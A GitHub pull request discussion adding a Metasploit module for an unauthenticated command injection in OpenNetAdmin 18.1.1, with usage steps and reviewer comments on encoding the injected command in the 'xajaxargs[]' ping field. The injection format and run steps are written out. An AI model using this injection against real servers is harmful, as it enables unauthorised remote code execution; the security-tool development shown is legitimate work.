Add OpenNetAdmin 18.1.1 Remote Code Execution exploit

[onurer]

OpenNetAdmin provides a database managed inventory of your IP network. Each subnet, host, and IP can be tracked via a centralized AJAX enabled web interface that can help reduce tracking errors.
This module exploits a command injection in OpenNetAdmin.

Verification

Launch metasploit and set the appropiate options:

• Start msfconsole
• use exploit/linux/http/opennetadmin_ping_cmd_injection
• set RHOSTS <rhosts>
• set LHOST <lhost>
• set VHOST <hostname>
• exploit

[acammack-r7]

Would this make more sense as:

Suggested change

	cmd.gsub!(/chmod \+x/, 'chmod 777')
	CGI.escape cmd

to catch all the characters?

[bcoles]

Is there a reason to use data rather than vars_post (which would automatically take care of URL encoding) ?

[onurer]

    vars_post = {
          'xajax'          => 'window_submit',
          'xajaxargs[]' => 'tooltips',
          'xajaxargs[]' => 'ip%3D%3E;#{filter_bad_chars(cmd)};',
          'xajaxargs[]' => 'ping'
        }

warning: key "xajaxargs[]" is duplicated and overwritten

I am encountering the above error.
@bcoles

[acammack-r7]

Unfortunately I don't see a way to handle the repeated key query string paradigm in Rex (PHP will turn it into an array). I'm fine passing as a string (with the payload properly encoded), or you can add array handling to https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/proto/http/client_request.rb#L138-L146. Instead of doing a val.to_s right away, when val is an array I would do something like:

val.each do |v|
  v = v.to_s
  pstr << '&' if pstr.length > 0
  pstr << (opts['encode_params'] ? set_encode_uri(var) : var)
  pstr << '='
  pstr << (opts['encode_params'] ? set_encode_uri(v) : v)
end

Then you could pass the post data like:

    vars_post = {
          'xajax'          => 'window_submit',
          'xajaxargs[]' => ['tooltips', 'ip=>;#{cmd};', 'ping']
        }

[bcoles]

There's inconsistency with the naming convention here.

• documentation/modules/exploit/linux/http/opennetadmin_ping_cmd_injection.md
• modules/exploits/multi/http/opennetadmin_ping_cmd_injection.rb
• 'Platform' => 'linux',

It looks like OpenNetAdmin is a typical LAMP stack style application, which should run on any UNIX system.

• https://github.com/opennetadmin
• https://github.com/opennetadmin/ona/wiki/Install

In which case the module belongs in modules/exploits/unix/webapp.

[cdelafuente-r7]

Thanks for your contribution! I just have a few comments and questions before it lands.

[cdelafuente-r7]

@onurer, thanks again for this contribution! I just pushed a last commit to fix an indentation issue. Not a big deal.

[cdelafuente-r7]

Release Notes

This module allow you to exploit a command injection vulnerability in OpenNetAdmin 18.1.1, a network management application for managing IP subnets, and remotely execute commands. You don’t need to authenticate to exploit this vulnerability.